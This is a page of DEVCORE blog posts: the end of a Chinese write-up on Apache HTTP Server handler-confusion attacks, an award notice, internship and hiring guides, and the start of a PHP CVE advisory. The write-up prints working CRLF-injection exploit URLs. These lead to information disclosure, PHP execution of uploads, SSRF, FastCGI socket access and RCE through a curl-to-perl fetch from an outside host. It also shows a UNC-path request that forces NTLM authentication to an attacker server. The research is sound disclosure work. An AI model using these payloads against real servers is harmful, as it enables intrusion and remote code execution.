基於前面提到的 double response 行為以及副作用，這個攻擊手法還可以完成其它更酷的利用，不過由於此問題尚未完全修復，更進一步的利用方式，將於修復完成後再揭露。

⚔️ Primitive 3-2. Invoke Arbitrary Handlers

仔細思考前面 Overwrite Handler 攻擊手法，雖然是因為 ModSecurity 並未好好的處理錯誤，導致請求被設置上錯誤的 Content-Type。 但再深入的探究其根本原因應該是 —— Apache HTTP Server 在使用 r->content_type 時，其實無從辨別它的語意，這個欄位既可以是在請求階段被語法設定好的值，也可以是回應階段伺服器回傳 Content-Type 標頭的內容。

所以理論上如果能控制伺服器回應中 Content-Type 標頭的內容，那就可以透過那段從開發初期遺留至今的程式碼呼叫任意的模組處理器，這也是 Handler Confusion 的最後一個攻擊手法 —— 呼叫任意 Apache HTTP Server 的內部模組處理器！

但這裡還有最後的一塊拼圖必須填上，在 Httpd 中所有可以從伺服器回應修改到 r->content_type 的地方全都發生在那段遺留程式碼之後，就算修改到該欄位的內容，此時 HTTP 生命週期也進入尾聲，無法再做更進一步的利用…… 嗎？

我們找了 RFC 3875 來當救援投手！ RFC 3875 是一個關於 CGI 的規範，其中 6.2.2. 節定義了一個 Local Redirect Response 行為:

The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

簡單來說規範了 CGI 在特定條件下必須使用伺服器端的資源去處理轉址，仔細檢視 mod_cgi 對於這個規範的實作會發現：

Path: modules/generators/mod_cgi.c#L983

if ((ret = ap_scan_script_header_err_brigade_ex(r, bb, sbuf, // <------ [1] APLOG_MODULE_INDEX))) { ret = log_script(r, conf, ret, dbuf, sbuf, bb, script_err); // [...] if (ret == HTTP_NOT_MODIFIED) { r->status = ret; return OK; } return ret; } location = apr_table_get(r->headers_out, "Location"); if (location && r->status == 200) { // [...] } if (location && location[0] == '/' && r->status == 200) { // <------ [2] /* This redirect needs to be a GET no matter what the original * method was. */ r->method = "GET"; r->method_number = M_GET; /* We already read the message body (if any), so don't allow * the redirected request to think it has one. We can ignore * Transfer-Encoding, since we used REQUEST_CHUNKED_ERROR. */ apr_table_unset(r->headers_in, "Content-Length"); ap_internal_redirect_handler(location, r); // <------ [3] return OK; }

首先 mod_cgi 會先執行[1] CGI 並掃描其輸出結果並設置上相對應的 Status 以及 Content-Type，如果[2]回傳的 Status 是 200 以及 Location 標頭欄位是 / 開頭則把這個回應當成一個伺服器端的轉址並開始處理[3]。 再仔細審視 ap_internal_redirect_handler() 的實作會發現：

Path: modules/http/http_request.c#L800

AP_DECLARE(void) ap_internal_redirect_handler(const char *new_uri, request_rec *r) { int access_status; request_rec *new = internal_internal_redirect(new_uri, r); // <------ [1] /* ap_die was already called, if an error occured */ if (!new) { return; } if (r->handler) ap_set_content_type(new, r->content_type); // <------ [2] access_status = ap_process_request_internal(new); // <------ [3] if (access_status == OK) { access_status = ap_invoke_handler(new); // <------ [4] } ap_die(access_status, new); }

Httpd 首先創建[1]了一個新的請求結構並將當前的 r->content_type 複[2]進去，在處[3]完生命週期後呼叫[4] ap_invoke_handler() —— 也就是前面提及包含歷史遺留轉換的地方，所以在伺服器端轉址中，如果可以控制回應標頭，就可以在 Httpd 中呼叫任意的模組處理器。 基本上所有 Apache HTTP Server 中的 CGI 系列實作都遵守這個行為，這裡是一個簡單的列表：

• mod_cgi
• mod_cgid
• mod_wsgi
• mod_uwsgi
• mod_fastcgi
• mod_perl
• mod_asis
• mod_fcgid
• mod_proxy_scgi
• …

至於如何在真實情境中觸發這個伺服器轉址呢？ 由於至少需要控制 HTTP 回應中 Content-Type 及部分 Location，這裡給出兩個情境以供參考：

1. 位於 CGI 回應標頭中的 CRLF Injection，透過換行去覆寫已存在的 HTTP 標頭
2. 可完整控制回應標頭的 SSRF，例如託管在 mod_wsgi 上的 django-revproxy 專案

接下來的範例都基於這個不安全的 CRLF Injection 來做示範：

#!/usr/bin/perl use CGI; my $q = CGI->new; my $redir = $q->param("r"); if ($redir =~ m{^https?://}) { print "Location: $redir\n"; } print "Content-Type: text/html\n\n"; ✔️ 3-2-1. Arbitrary Handler to Information Disclosure

首先是從任意模組處理器呼叫到資訊洩漏，這裡使用了 Httpd 內建的 server-status 模組處理器，這個模組處理器通常只被允許從本機存取：

<Location /server-status> SetHandler server-status Require local </Location>

在擁有任意模組處理器呼叫後，可以透過複寫 Content-Type 去存取原本存取不到的敏感資訊：

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

✔️ 3-2-2. Arbitrary Handler to Misinterpret Scripts

當然也能輕鬆的把一張圖片轉化成 PHP 後門，例如當使用者上傳了一個擁有合法副檔名的檔案後，可以透過這個攻擊手法指定特定模組 mod_php 去執行檔案內嵌的惡意程式碼，例如：

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/uploads/avatar.webp %0d%0a
Content-Type:application/x-httpd-php %0d%0a
%0d%0a

✔️ 3-2-2. Arbitrary Handler to Full SSRF

呼叫 mod_proxy 存取任何協議以及任意網址當然也不在話下，例如：

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:http://example.com/%3f %0d%0a
%0d%0a

另外這也是一個可以完整控制 HTTP 請求還有取得所有 HTTP 回應的 SSRF！ 稍微可惜的一點是在存取 Cloud Metadata 時會被 mod_proxy 會自動加上 X-Forwarded-For 標頭導致被 EC2 及 GCP 的 Metadata 保護機制阻擋，否則這會是一個更強大的攻擊手法。

✔️ 3-2-3. Arbitrary Handler to Access Local Unix Domain Socket

然而 mod_proxy 提供了一個更「方便」的功能 —— 可以存取本地的 Unix Domain Socket！ 😉

這裡展示透過存取 PHP-FPM 本地的 Unix Domain Socket 去執行位於 /tmp/ 下的 PHP 後門：

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

這個手法理論上還存在著更多的可能性，例如協議走私 (在 HTTP/HTTPS 協議間走私 FastCGI 😏) 或其它易受影響的 Local Sockets 等，這都交給有興趣的人繼續研究了。

✔️ 3-2-4. Arbitrary Handler to RCE

最後來展示一下如何透過一個常見的 CTF 小技巧把這個攻擊手法轉化成 RCE！ 由於 PHP 官方的 Docker 映像檔 在建構時引入了 PEAR 這套命令列 PHP 套件管理工具，透過其中的 Pearcmd.php 作為入口點可以讓我們達成更進一步的利用，詳細的歷史及原理可以參考由 Phith0n 撰寫的 Docker PHP LFI 總結文。

這裡我們利用在 run-tests 內的 Command Injection 來完成整個攻擊鏈，詳細的攻擊鏈如下：

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

網路上經常在 Security Advisory 或 Bug Bounty 看到把 CRLF Injection 或 Header Injection 當成 XSS 報告，雖然確實有機會透過 SSO 串出 Account Takeover 等精彩漏洞，但請不要忘了它也能串出 Server-Side RCE，這個示範證明了它的可能！

🔥 4. 其它漏洞

基本上整個 Confusion Attacks 系列到這邊差不多告一個段落，然而在研究 Apache HTTP Server 的過程中還有些值得一提的漏洞因此將它們獨立出來。

⚔️ CVE-2024-38472 - 基於 Windows UNC 的 SSRF

首先是 apr_filepath_merge() 函數在 Windows 的實作允許使用 UNC 路徑，下面提供兩種不同的觸發路徑讓攻擊者可以向任意主機發起 NTLM 認證：

✔️ 透過 HTTP 請求解析器觸發

想要直接透過 HTTP 請求觸發需要在 Httpd 中設置額外的設定，雖然這個設定第一眼看起來有點不現實，但似乎經常與 Tomcat (mod_jk、mod_proxy_ajp) 或是與 PATH_INFO 一起出現：

AllowEncodedSlashes On

另外由於 Httpd 在 2.4.49 後重寫了核心 HTTP 請求解析器邏輯，要在大於此版本的 Httpd 上觸發漏洞需要再額外加上一個設定：

AllowEncodedSlashes On MergeSlashes Off

透過兩個 %5C 可以使強迫 Httpd 向 attacker-server 發起 NTLM 認證，實務上也可透過 NTLM Relay 的方式將此 SSRF 轉化成 RCE！

$ curl http://server/%5C%5Cattacker-server/path/to

✔️ 透過 Type-Map 觸發

Debian/Ubuntu 的 Httpd 發行版中預設啟用了 Type-Map：

AddHandler type-map var

透過上傳一個 .var 檔案到伺服器，將其中 URI 欄位指定成 UNC 路徑也可強迫伺服器向攻擊者發起 NTLM 認證，這也是我所提出的第二個 .var 小技巧 😉

⚔️ CVE-2024-39573 - 基於 RewriteRule 前綴可完全控制的 SSRF

最後則是當位於 Server Config 或是 VirtualHost 中的 RewriteRule 前綴完全可控時，可以呼叫到 Proxy 以及相關子模組：

RewriteRule ^/broken(.*) $1

透過下列網址可將請求轉交給 mod_proxy 處理：

$ curl http://server/brokenproxy:unix:/run/[...]|http://path/to

但如果網管有好好測試，就會發現這樣子的規則是不實際的，所以原本只把它當成另外一個漏洞的搭配組合一起回報，沒想到這個行為也被當成一個安全邊界修復。 再隨著修補出來後也看到其他研究員把同樣行為套用在 Windows UNC 上獲得另外一個額外的 CVE。

未來研究方向

最後是關於這份研究的未來的一些展望以及可加強的地方，基本上 Confusion Attacks 仍然是一個很有潛力的攻擊面，尤其是我這次的研究主要也只專注在兩個欄位上而已，只要 Apache HTTP Server 沒有好好從底層進行結構性加強或提供給開發者一個好的開發標準，相信未來還會有更多「混淆」出現！

至於還有哪些方面可以加強呢？ 其實不同的 Httpd 發行版會有不同的設定檔案，因此其它的 Unix-Like 系統例如 RHEL 家族、BSD 系列，甚至使用到 Httpd 的套裝軟體，它們都有機會出現更多可跳脫的重寫規則、更多厲害的 Local Gadgets 甚至意料外的符號跳躍等等 ，就交給有興趣的人繼續吧。

最後由於時程因素，來不及分享更多在實際網站、設備，甚至開源專案上發現並利用的真實案例，不過你應該已經可以想像 —— 在真實世界中絕對還藏著千千萬萬個比想像中還要大量未開採的規則、可繞過的認證，以及隱藏在檯面下的 CGI，至於如何把這篇裡面所講到的技巧實際應用在全世界上？ 接下來就是你們的任務了！

結語

維護一個 Open Source 專案真的是一件很困難的事，尤其在讓使用者方便的同時兼顧舊版本的相容性，稍有不慎可能就會造成整個系統被攻破 (例如 Httpd 2.4.49 中因為一個路徑處理邏輯小改動導致災難性的 CVE-2021-41773)，整個開發過程必須要小心翼翼的踩在一堆遺留程式碼以及技術債上。 所以如果真的有 Apache HTTP Server 的開發者看到這篇文我想說： 謝謝你們的貢獻！

We’re thrilled to announce that Angelboy, senior security researcher at DEVCORE, is named one of Microsoft’s MSRC 2024 Most Valuable Security Researchers! He not only secured the #33 spot on the overall list but also achieved the #9 position in the Windows category.

This is the first time Angelboy has been shortlisted on this annual leaderboard, and he is also the highest-ranked Taiwanese security researcher featured. This prestigious accomplishment highlights his exceptional expertise and significant contributions to the field.

The Microsoft Security Response Center (MSRC) has long recognized the efforts of security researchers who partner with Microsoft in reporting vulnerabilities through its Microsoft Researcher Recognition Program (MRRR). The program expresses gratitude for their contributions to the security of Microsoft’s global customers and products.

The MSRC 2024 Most Valuable Security Researchers list, announced on August 7th, is based on the total number of points the researchers earned for each valid report from July 2023 to June 2024. Angelboy secured the #33 spots on the leaderboard. Specifically, his dedicated passion for Windows Kernel research earned him a #9 ranking in the Windows category, placing him in the TOP 10. He was also awarded “Accuracy” and “Volume” badges, further highlighting his significant contributions to vulnerability research.

References:

• Microsoft official announcement - Congratulations to the MSRC 2024 Most Valuable Security Researchers!
• Microsoft MSRC 2024 leaderboard

恭喜 DEVCORE 資深資安研究員 Angelboy 榮獲 Microsoft 的 MSRC 2024 Most Valuable Security Researchers 的殊榮！除了在不分項 TOP 100 名單中榮獲 #33 名，在 Angelboy 長年研究的 Windows 領域中，他更以 #9 的名次擠入前十大行列。

這不僅是 Angelboy 首次登上該年度榜單，同時也是該名單中排名最高的台灣資安研究員。

Microsoft 旗下的 Microsoft Security Response Center（MSRC，或稱 Microsoft 安全性回應中心）長期藉 Microsoft Researcher Recognition Program（MRRR）計畫，公開表揚協助 Microsoft 挖掘系統安全漏洞的資安研究員，以此致謝優秀資安研究員為 Microsoft 的客戶及產品安全所付出的努力。

Microsoft 於 7 日公布的 MSRC 2024 Most Valuable Security Researchers 名單，是根據 2023 年 7 月至 2024 年 6 月，全球各地資安研究員向 MSRC 回報的漏洞得分所統計而得。在整體不分項名單中，Angelboy 獲得了 #33 名的殊榮。而針對 Microsoft 旗下各類型產品的 Windows 類別中，Angelboy 則入列 TOP 10，獲得 #9 的成績，並經認證全數漏洞回報皆為有效回報。

再次恭喜 Angelboy 奪得此一殊榮！

參考資料：

• Microsoft official announcement - Congratulations to the MSRC 2024 Most Valuable Security Researchers!
• Microsoft MSRC 2024 leaderboard

DEVCORE 創立迄今已逾十年，持續專注於提供主動式資安服務，並致力尋找各種安全風險及漏洞，讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能，我們成立了「戴夫寇爾全國資訊安全獎學金」，2022 年初開始舉辦首屆實習生計畫，目前為止成果頗豐、超乎預期，第五屆實習生計畫也將於今年 7 月底告一段落。我們很榮幸地宣佈，第六屆實習生計畫即將登場，若您期待加入我們、精進資安技能，煩請詳閱下列資訊後來信報名！

實習內容

本次實習分為 Research 及 Red Team 兩個組別，主要內容如下：

• Research (Binary/Web) 以研究為主，在與導師確定研究標的後，分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路，找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試分析及撰寫過往漏洞的 Exploit，理解過去漏洞都出現在哪，體驗真實世界的漏洞都是如何利用。
  • 漏洞挖掘及研究 60 %
  • 1-day 開發 (Exploitation) 30 %
  • 成果報告與準備 10 %
• Red Team 研究並深入學習紅隊常用技巧，熟悉實戰中會遇到的情境、語言與架構。了解常見漏洞的成因、實際利用方法、嚴苛條件下的利用策略、黑箱測試方式及各種奇技淫巧。學習後滲透時的常見限制、工具概念與原理。
  • 漏洞與技巧的研究及深入學習 70 %
  • Lab 建置或 Bug Bounty 或漏洞挖掘 30 %

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

• 2024 年 9 月開始到 2025 年 1 月底，共 5 個月。
• 每週工作兩天，工作時間為 10:00 – 18:00
  • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
    • 如果居住雙北外可彈性調整（但須每個組別統一）
  • 其餘時間皆為遠端作業

招募對象

• 具有一定程度資安背景的學生，且可每週工作兩天
• 此外並無其他招募限制，歷屆實習生可重複應徵
• 對資格有任何疑慮，歡迎來信詢問

預計招收名額

• Research 組：2~3 人
• Red Team 組：2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程 實習條件要求 Research (Binary/Web)

• 基本漏洞利用及挖掘能力
• 具備研究熱誠，習慣了解技術本質
• 熟悉任一種 Scripting Language（如：Shell Script、Python、Ruby），並能使用腳本輔以研究
• 具備除錯能力，能善用 Debugger 追蹤程式流程、能重現並收斂問題
• 具備獨立分析開放原始碼專案的能力，能透過分析程式碼理解目標專案的架構
• 熟悉並理解常見的漏洞成因
  • OWASP Web Top 10
  • Memory Corruption
  • Race Condition
  • …
• 加分但非必要條件
  • CTF 比賽經驗
  • pwnable.tw 成績
  • 有公開的技術 blog/slide、write-ups 或是演講
  • 精通 IDA Pro 或 Ghidra
  • 熟悉任一種網頁程式語言或框架（如：PHP、ASP.NET、Express.js），具備可以建立完整網頁服務的能力
  • 理解 PortSwigger Web Security Academy 中的安全議題
  • 獨立挖掘過 0-day 漏洞，或分析過 1-day 的經驗
  • 具備下列其中之一經驗
    • Web Application Exploit
    • Kernel Exploit
    • Windows Exploit
    • Browser Exploit
    • Bug Bounty

Red Team

• 熟悉 OWASP Web Top 10
• 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab
• 理解計算機網路的基本概念
• 熟悉任一種網頁程式開發方式（如：PHP、ASP.NET、JSP），具備可以建立完整網頁服務的能力
• 熟悉任一種 Scripting Language（如：Shell Script、Python、Ruby），並能使用腳本輔以研究
• 具備除錯能力，能善用 Debugger 追蹤程式流程、能重現並收斂問題
• 具備可以建置、設定常見網頁伺服器（如：Nginx、Apache、Tomcat、IIS）及作業系統（如：Linux、Windows）的能力
• 加分但非必要條件
  • 曾經獨立挖掘過 0-day 漏洞
  • 曾經獨立分析過已知漏洞並能撰寫 1-day Exploit
  • 曾經於 CTF 比賽中擔任出題者並建置過題目
  • 擁有 OSCP 證照或同等能力之證照

應徵流程

本次甄選一共分為二個階段：

第一階段：書面審查

第一階段為書面審查，會需要審查下列兩個項目

• 履歷內容
• 簡答題答案
  • 應徵 Research 實習生：
    • 題目一：漏洞重現與分析過程
      • 請提出一個，你印象最深刻或感到有趣、於西元 2022 ~ 2024 年間公開的真實漏洞或攻擊鏈案例，並依自己的理解詳述說明漏洞的成因、利用條件和可以造成的影響。同時，嘗試描述如何復現此漏洞或攻擊鏈，即使無法成功復現，也請記錄研究過程。報告撰寫請參考範本，盡可能詳細，中英不限。
    • 題目二：實習期間想要研究的主題
      • 請提出三個可能選擇的明確主題，並簡單說明提出的理由或想完成的內容，例如：
        • 研究◯◯開源軟體，找到可 RCE 的重大風險弱點。
        • 研究常見的路由器，目標包括：AA-123 路由器、BB-456 無線路由器。
        • 研究常見的筆記平台或軟體，目標包括：XX Note、YY Note。
  • 應徵 Red Team 實習生：
    • 請提出兩個於西元 2022 ~ 2024 年間公開的、與 Web 攻擊面、漏洞或攻擊鏈相關的演講。請說明為什麼挑選這些演講並解釋它們為什麼有趣。用你的話詳細解釋這些演講的細節，並提供任何你覺得可以輔助或證明你理解的附加資料。這些演講可以來自包含但不限於 Black Hat、DEF CON、OffensiveCon、POC、ZeroConf、Hexacon、HITCON、TROOPERS CONFERENCE 等會議。

本階段收件截止時間為 2024/08/09 23:59，我們會根據您的履歷及題目所回答的內容來決定是否有通過第一階段，我們會在 10 個工作天內回覆。

第二階段：面試

此階段為 30~120 分鐘（依照組別需求而定，會另行通知）的面試，會有 2~3 位資深夥伴參與，評估您是否具備本次實習所需的技術能力與人格特質。

時間軸

• 2024/07/18 - 2024/08/09 公開招募
• 2024/08/12 - 2024/08/22 面試
• 2024/08/26 前回應結果
• 2024/09/02 第六屆實習計畫於當週開始

報名方式

• 請將您的履歷及題目答案以 PDF 格式寄到 [email protected]
  • 履歷格式請參考範例示意（DOCX、PAGES、PDF）並轉成 PDF。若您有自信，也可以自由發揮最能呈現您能力的履歷。
  • 請於 2024/08/09 23:59 前寄出（如果名額已滿則視情況提早結束）
• 信件標題格式：[應徵] 職位 您的姓名（範例：[應徵] Red Team 組實習生 王小美）
• 履歷內容請務必控制在三頁以內，至少需包含以下內容：
  • 基本資料
  • 學歷
  • 實習經歷
  • 社群活動經歷
  • 特殊事蹟
  • 過去對於資安的相關研究
  • MBTI 職業性格測試結果（測試網頁）

若有應徵相關問題，請一律使用 Email 聯繫，如造成您的不便請見諒，我們感謝您的來信，並期待您的加入！

紅隊演練是 DEVCORE 最核心的業務。我們擁有豐富的實戰經驗，並且集結了一群優秀的夥伴共同迎接挑戰。很多技術愛好者希望加入我們，想要了解我們錄取新人所看重的方向。趁著畢業季求職潮，我們特別準備了這份應徵指南，希望幫助有興趣的人了解準備方向，也希望幫助一些剛畢業、不擅長撰寫履歷、不擅長在面試中表達自己的人，補足必要技能以免錯失機會。無論您對紅隊演練專家或滲透測試工程師感興趣，期望可以循著這份指南，成為我們的夥伴。

順帶一提，有一個在學生可能感興趣的資訊：DEVCORE 有研發替代役名額，唯名額有限，推薦您在學期間盡早投遞履歷並詢問替代役狀況。

🚀 DEVCORE 應徵流程

應徵紅隊演練專家、滲透測試工程師都會經歷「書面審查」、「線上測驗」、「面試」三個階段。

📌 書面審查

履歷是這個階段主要評估依據，以下 4 點是我們認為應徵者需要注意的地方：

履歷內容符合職務需求嗎

這個階段最重要的是說服審核者你具備職務需求的能力，所以請盡量在履歷內容附上能幫助別人判斷的佐證資訊。過去有些技術底不錯的同學只單純放了學歷，這樣要讓審核者想找個可以進入下一階段的理由都難，相當可惜。

用一些實例說明吧

實例證明是讓你的履歷脫穎而出的關鍵，具體的數字和事實可以大大增加履歷的說服力，例如能具體說出打過多少場滲透測試，在過程中找了多少漏洞，或在任務中解決了什麼樣的問題，達到什麼效果。這些不僅能表示技術能力，還能顯示你的影響力。

提供有幫助的額外資訊

相關專業證照、參與技術社群、貢獻開源專案等額外資訊都有助於審核者評估。有些人好奇一些非技術等經驗應不應該放在履歷中，我們預設是不會特別參考，但如果你認為這些經驗對未來工作有正面影響，可附上讓審核者評估。

特別希望列出的加分項

下面列出一些非必要但有會很不錯的加分項目，如果有這方面的經歷務必要寫上。同時也列出每個項目中我們看重的特質，如果有其他可以展現這些特質的經歷也歡迎列出來讓審核者知道。

📄 實戰經驗如：CVE、bug bounty

• 代表您擁有解決未知問題能力。
• 代表您能看到別人所沒有關注到的細節。

📄 CTF Writeups 或是 Blog

• 如果在 CTF 比賽有不錯的成績，通常意味著你擁有在短時間內分析歸納重點的能力、也能夠快速找到解決辦法，聯想力創造力可能也不差。
• 我們希望能了解您如何描述複雜的漏洞，因為在將來的工作中需要將漏洞過程清楚描述並給予建議。
• 寫 Blog 除了能展現表達和文字能力外，通常也具有持續學習的熱情和樂於分享的特質，符合 DEVCORE 核心價值觀。

📄 CTF 出題經驗

• 代表平常會持續關注流行的技術、研究語言或框架特性，能注意到一些鮮少人知道的小細節。
• 說明你除了攻擊，還具備一定程度的開發能力。
• 為了怕題目被 CTF 玩家惡意破壞，通常出題者也具備高水準的防禦能力。

📌 線上測驗

這個階段的進行方式與一般線上靶機環境如 OSCP、HTB 無異，會分配到一個題組，平均需要解五把 flag。應徵者會有相當足夠的時間進行解題（預設 10 天，視題目會微調），最後交付報告。我們期待從線上測驗中看到應徵者具備下述能力：

• 偵查：能否透過現有資訊合理推斷背後的架構或寫法。
• 漏洞挖掘：能否找到題目中設計的漏洞。
• 應變：碰到特殊的環境可否自行想辦法克服。例如在只有 command injection 且內網有防火牆限制的特殊環境下，怎麼用手邊可利用的資源達成你的目標。

📌 面試

最後的面試階段會全面評估你是否適合這個職位，下述 2 件事情特別想與應徵者分享：

被問倒是正常的

在面試過程中，面試官會從多個角度深入了解應徵者技術的廣度和深度，因此，會被問倒是正常的。請對自己的技術能力有信心，畢竟你已經通過了第二階段的線上測驗。被問到不熟悉的問題時，只要誠實地表達你的思考過程和解決問題的方法即可。我們想要知道思考脈絡，甚至期待你說：我看到 XX 特徵覺得這題可能是 OO 方向解，我會想用什麼關鍵字搜尋找答案。這樣的回答也凸顯了你的判斷力和解決問題的能力。

分享你的 Hack 故事

我們期待在面試中聽你分享過去特別的 Hack 經歷，並且與你討論細節。Hack 的內容不限，例如：

• 履歷中提到的 CVE、bug bounty
  • 希望是一些特別的情境，如果找到的是常見漏洞如 SQLi 或 XSS，那會希望了解這個漏洞特別在哪？或者是能說出你做了什麼，為什麼你能找到這個漏洞？
• 在 CTF 比賽中想到的精妙解法
• 生活中為了達成目標做的 Hack
  • 例如：為了自動化工作流程寫了個小工具；為了租房資訊串了個方便通知系統；想把遊戲每日領取任務自動化。

🚀 自我鍛鍊之路

這一段寫給現在還在準備階段，未來很想要加入資安檢測行業的同學。為了增加自己的實力，在應徵前有下面幾個精進事項可參考，這對在資安領域長遠發展也很有幫助。

📌 補足基礎知識 Web 常見漏洞種類

我們認為 PortSwigger Web Security Academy 整理的漏洞經典且完整，加上有 LAB 可以直接練習，適合初學者。這些漏洞是從事資安檢測最基礎的溝通語言，推薦要把教材頁面上所有漏洞練習完，可以從主題頁面看分類會比較清楚。若以紅隊為目標，我們會優先關注能拿 shell 的後端漏洞。 以下提供幾點自我驗證與精進項目：

• 抽一個漏洞是否可以說出這個漏洞常發生在什麼功能？背後的成因？通常可以怎麼進階利用這個漏洞？
• 有沒有辦法在黑箱狀態，透過測試辨識出這些漏洞？
• 在白箱狀態下，知道哪些漏洞要透過搜尋什麼函數找到？
• 我們在面試中喜歡問各種漏洞怎麼拿 shell 的問題，因為這就是紅隊演練目標的第一步。搜尋 “from XSS to RCE” 這類的關鍵字能找到相當多案例（XSS 可以取代成 SQLi 等漏洞）。

紅隊戰術與技巧

控制一台電腦後，仍需要在內網中擴散完成任務目標。ired.team 提供了一本紅隊技巧工具書，推薦閱讀以了解在不同階段有哪些招式可用。對 DEVCORE 而言，我們優先關注「Active Directory & Kerberos Abuse」、「Credential Access & Dumping」、「Lateral Movement」章節下的技能。此外，「Network pivoting & tunneling」的概念和技巧也是我們會關注的能力，ired.team 在這塊著墨較少，這篇文章涵蓋了必要知識和工具可參考。 以終為始學習，希望在練習這些技巧和工具後，能對下面的問題有自己的看法：

如果打下企業一台外網服務，而你的目標是該企業內網網域控制器（情境架構可自行假設）：

• 為了打 AD，你在打下的外網伺服器上會做哪些事情？為什麼？過程中你偏好使用什麼工具？偏好的原因是什麼？
• 同上，這台伺服器如果有網域帳號你之後會做哪些事情？如果沒有網域帳號呢？
• 想拿下網域控制器，心中能否馬上跳出五種以上的方法？你會優先嘗試什麼方法？為什麼？
• 過程中橫向移動偏好使用什麼工具？為什麼？

📌 練習 虛擬靶機練習

除了知識外，也要找一些模擬環境培養手感。知名的 Hack The Box 和 OffSec 都有推出學習路徑和豐富的靶機：

• Hack The Box Cybersecurity Paths (優先練習：Penetration Tester, Senior Web Penetration Tester, Active Directory Enumeration)
• OffSec Learning Paths (Filter: Red Teamer, Web App Tester)

選擇適合自己的平台練習即可。也可以單純打 HTB Labs 靶機，練到覺得每次解題目要做的事情都類似，開始覺得題目有套路感就可以了，一些特殊解法在現階段不需糾結。過去有玩 HTB 的實習生在錄取前附上的 Writeups 大概會寫 30~50 台靶機，這個數量級或許可以參考。另外若要練習打網域，最近 GitHub 上有一個 GOAD LAB 專案滿值得參考。

如果想考證照，我們有考過覺得對提昇檢測工作能力有幫助的有：

• OffSec PEN-200(OSCP)
  • 提昇識別和利用漏洞能力
• OffSec WEB-300(OSWE)
  • 提昇白箱挖掘漏洞能力
• Certified Red Team Professional (CRTP)
  • 提昇網域相關基本知識面與攻擊面
  • 新手友善，是少數可以系統性學習網域攻擊的場域。內容較簡單且與 DEVCORE 慣用作法有落差，但入職後上手會較快。

註：以上僅提供已知有幫助的證照，不代表其他證照沒有幫助

實戰練習

最推薦的還是到真實場域來看看。

• 白箱練習：可以嘗試找你熟悉或喜歡的 GitHub 專案，先看這個專案過去的漏洞，試試看如果自己白箱看有沒有辦法能追到。如果這些有正解的漏洞都能順利找到，接著就開始找一些 Open Source 專案來挖掘 0-day 吧。
• 黑箱練習：參與 bug bounty 計畫，挑戰真實世界的安全問題。台灣企業的計畫可以參考 HITCON ZeroDay ，國外則推薦 HackerOne 上面的目標。這些計畫會讓你面對更複雜和多樣的攻擊場景，提升你的實戰能力。

📌 找同伴一起

在資安這條路上，找到志同道合的夥伴一起學習、一起打 CTF、一起挖漏洞絕對比獨自升級來的有效率，下列活動可考慮參加：

• HITCON Community: 幾乎所有資安社群都會聚集在這個研討會，可以在研討會中找一個適合自己的社群參與。
• AIS3: 聚集台灣幾乎所有對資安有興趣的在學生。滿有機會在這邊認識志同道合的朋友。
• 台灣好厲駭 Deep Hacking 讀書會: 全台灣探討資安最深最扎實的讀書會之一，參加絕對可以提昇視野、也能認識各種高手。內容偏 Binary 但目前漸漸在轉型中，希望不分類以挖掘漏洞為主。
• DEVCORE 實習生計畫： 每年一月中和七月中會招生，如果目的是應徵 DEVCORE，參加計畫問導師應該是最快的。

如果你想知道更多資源，台灣資安 / CTF 學習資源整理 整理的資源值得參考。

🚀 小結

本篇指南分成兩部分：前半部主要在給應徵者一些小提醒，希望應徵者能把最好的一面呈現出來。後半部提供一個學習的脈絡，希望給還在學習階段的人一個比較清楚的方向。

最終，我們都希望台灣有越來越多熱愛技術的人進入資安產業。希望，未來能持續在資安領域看見正在閱讀的你。

English Version, 中文版本

During DEVCORE’s continuous offensive research, our team discovered a remote code execution vulnerability in PHP. Due to the widespread use of the programming language in the web ecosystem and the ease of exploitability, DEVCORE classified its severity as critical, and promptly reported it to the PHP official team. The official team released a patch on 2024/06/06. Please refer to the timeline for disclosure details.

Description

While implementing PHP, the team did not notice the Best-Fit feature of encoding conversion within the Windows operating system. This oversight allows unauthenticated attackers to bypass the previous protection of CVE-2012-1823 by specific character sequences. Arbitrary code can be executed on remote PHP servers through the argument injection attack.

Impact

This vulnerability affects all versions of PHP installed on the Windows operating system. Please refer to the table below for details:

• PHP 8.3 < 8.3.8
• PHP 8.2 < 8.2.20
• PHP 8.1 < 8.1.29

Since the branch of PHP 8.0, PHP 7, and PHP 5 are End-of-Life, and are no longer maintained anymore, server admins can refer to the Am I Vulnerable section to find temporary patch recommendations in the Mitigation Measure section.

Am I Vulnerable?

For the usual case of combinations like Apache HTTP Server and PHP, server administrators can use the two methods listed in this article to determine whether their servers are vulnerable or not. It’s notable to address that Scenario-2 is also the default configuration for XAMPP for Windows, so all versions of XAMPP installations on Windows are vulnerable by default.

As of this writing, it has been verified that when the Windows is running in the following locales, an unauthorized attacker can directly execute arbitrary code on the remote server:

• Traditional Chinese (Code Page 950)
• Simplified Chinese (Code Page 936)
• Japanese (Code Page 932)

For Windows running in other locales such as English, Korean, and Western European, due to the wide range of PHP usage scenarios, it is currently not possible to completely enumerate and eliminate all potential exploitation scenarios. Therefore, it is recommended that users conduct a comprehensive asset assessment, verify their usage scenarios, and update PHP to the latest version to ensure security.

Scenario 1: Running PHP under CGI mode

